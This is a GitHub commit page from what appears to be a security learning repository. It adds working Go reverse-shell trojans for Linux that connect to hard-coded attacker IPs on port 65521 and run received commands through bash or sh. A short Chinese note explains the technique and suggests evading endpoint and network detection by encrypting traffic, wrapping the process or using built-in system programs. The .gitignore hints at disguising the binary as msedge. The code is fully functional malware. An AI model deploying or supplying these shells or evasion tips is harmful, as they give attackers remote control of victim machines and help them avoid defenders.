Skip to content

Commit

Permalink
反弹Shelll-Go-Linux
Browse files Browse the repository at this point in the history
  • Loading branch information
Ayusummer committed May 15, 2024
1 parent 9702bc9 commit a8ece08
Show file tree
Hide file tree
Showing 4 changed files with 89 additions and 0 deletions.
9 changes: 9 additions & 0 deletions Security/EndPoint/Trojan/Go/ReverseShell/index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# Go 反向Shell

靶机执行程序尝试与攻击机目标端口建立连接,攻击机监听端口,当攻击机接收到连接请求时,攻击机与靶机建立连接;

攻击机发送给靶机的信息被靶机接收后调用 `cmd/shell` 执行,执行结果返回给攻击机。

> 这个基础的反弹Shell很容易检测,终端侧可以检测套接字重定向到shell的行为,网络侧可以检测新的tcp连接中的恶意命令
> - 网络侧可以通过加密通信流量来绕过检测
> - 终端侧感觉可以包个进程,或是用些系统自带的其他能执行命令的程序来绕过检测
2 changes: 2 additions & 0 deletions Security/EndPoint/Trojan/Go/ReverseShell/linux/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
msedge*
build.sh
40 changes: 40 additions & 0 deletions Security/EndPoint/Trojan/Go/ReverseShell/linux/bash/linux.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
package main

import (
"bufio"
"bytes"
"fmt"
"net"
"os/exec"
"strings"
"syscall"
)

func main() {
conn, err := net.Dial("tcp", "192.168.1.211:65521")
if err != nil {
fmt.Println(err)
return
}
for {
message, _ := bufio.NewReader(conn).ReadString('\n')
cmd := exec.Command("bash", "-c", strings.TrimSuffix(message, "\n"))
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
out, err := cmd.Output()

if err != nil {
fmt.Fprintf(conn, "%s\n", err)
}
fmt.Fprintf(conn, "%s\n", outputToString(out))

// 收到 exit 命令或者 Ctrl+C(空),关闭连接
if strings.TrimSuffix(message, "\n") == "exit" || message == "" {
conn.Close()
return
}
}
}

func outputToString(output []byte) string {
return string(bytes.Trim(output, "\r\n"))
}
38 changes: 38 additions & 0 deletions Security/EndPoint/Trojan/Go/ReverseShell/linux/sh/linux_sh.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
package main

import (
"bufio"
"bytes"
"fmt"
"net"
"os/exec"
"strings"
)

func main() {
conn, err := net.Dial("tcp", "100.1.1.131:65521")
if err != nil {
fmt.Println(err)
return
}
for {
message, _ := bufio.NewReader(conn).ReadString('\n')
cmd := exec.Command("sh", "-c", strings.TrimSuffix(message, "\n"))
out, err := cmd.Output()

if err != nil {
fmt.Fprintf(conn, "%s\n", err)
}
fmt.Fprintf(conn, "%s\n", outputToString(out))

// 收到 exit 命令或者 Ctrl+C(空),关闭连接
if strings.TrimSuffix(message, "\n") == "exit" || message == "" {
conn.Close()
return
}
}
}

func outputToString(output []byte) string {
return string(bytes.Trim(output, "\r\n"))
}

0 comments on commit a8ece08

Please sign in to comment.